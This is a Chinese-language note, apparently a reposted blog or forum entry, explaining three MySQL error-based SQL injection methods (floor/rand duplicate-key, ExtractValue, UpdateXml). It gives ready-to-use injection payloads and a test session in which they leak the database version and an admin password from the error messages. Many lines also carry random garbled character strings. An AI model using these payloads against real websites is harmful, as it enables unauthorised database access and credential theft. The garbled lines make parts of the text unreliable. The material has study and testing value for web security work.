关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
: z5 e! F$ Z; _3 J3 c! i​

# r) b5 J9 ^: x0 Imysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
0 A: t* P. ]4 f4 T6 i9 B' D| admin          |
% l5 V- t) `5 Y| article        |
+----------------+

* v+ ?8 i) i8 l* ?/ l! n

mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
/ ^' D' R+ L4 r+-------+------------------+------+-----+---------+----------------+
& Q& V( G9 K* T+ g" a| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
. {1 F: o1 d2 s/ @6 U: z: ~| user  | varchar(50)      | NO   |     | NULL    |                |
/ a; H4 T6 T8 P8 V2 ~7 X| pass  | varchar(50)      | NO   |     | NULL    |                |
# e, H0 l! ?2 C. i+-------+------------------+------+-----+---------+----------------+
- m) N% H3 D4 k  t/ U; L" O
6 V6 w- t, n$ N+ A. ^: T" C

0 z4 v* q1 {! R* L; c7 Amysql> describe article;
+---------+------------------+------+-----+---------+----------------+
+ }5 C$ Y  s( U! |. e. C| Field   | Type             | Null | Key | Default | Extra          |
4 X- d8 Y( J7 w0 C) r" j! q6 w7 M8 t+---------+------------------+------+-----+---------+----------------+
+ u9 d, L4 {- g' L, {1 p. k| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
3 H+ {3 V, C& t5 Z, w* I, K- k| title   | varchar(50)      | NO   |     | NULL    |                |
- ^' c- F8 H5 T' T| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
5 g, Y, B- A1 U. V& ~8 k1、通过floor报错
可以通过如下一些利用代码

; \: |( r8 T; l
) f8 m- g; R. f2 iand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
; e& V: f1 x) l* W9 K/ m8 ?6 tfrom information_schema.tables group by x)a);
4 o# ~2 D. g8 ]0 X

and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
& w9 g" n: h1 _9 h* dfloor(rand(0)*2)));
5 J8 q- R* \& i  b举例如下：
首先进行正常查询：
- l( w  T5 g. n1 V) d
5 Y# R  ^: m2 `/ f: s7 K/ n- amysql> select * from article where id = 1;
# P  A/ U4 }7 x3 F+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+ I8 K& o; I" m3 |, d6 P8 w+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。


2 q$ h, d  y0 u# ymysql> select * from article where id = 1 and (select 1 from
; Y$ j2 |: ~8 ^: F, K8 _(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:

3 \% k: L8 s( W: v( H. C+ R: d7 X
- c* q, D$ R; K3 a9 z( D% D7 jmysql> select * from article where id = 1 and (select 1 from
/ }9 X) v- x$ y- I2 ^# ~# z(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
  a% b$ \$ u6 W9 @5 q' hMethod2:
* s9 }6 }. v# R) y2 e2 j! s

mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
% O( K' L' t! {ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
. X. l. x; L# h7 c' a* Z2、ExtractValue
测试语句如下
1 Y+ h: V4 A, ^" T
9 p. Y3 P: z- ]5 C5 f
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
- ?& Z1 v4 ~$ q1 a1 |
4 p& |# B, G: `; Q/ @+ g' B5 |) C
1 W( H5 Z' ~( Mmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
5 d" d4 c1 Q+ j7 d, n, M5 v& {. F3、UpdateXml
测试语句

! W3 q( k" ]9 \; o. D/ \2 g
) ^& u- i5 x# ]8 x, Land 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

) D- t6 N% K2 o& a/ K6 i) ^
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
  _% u/ p- a6 m1 L7 u* }/ w( kERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
( B/ c. ~/ g8 M4 ~* x+ O0 c
​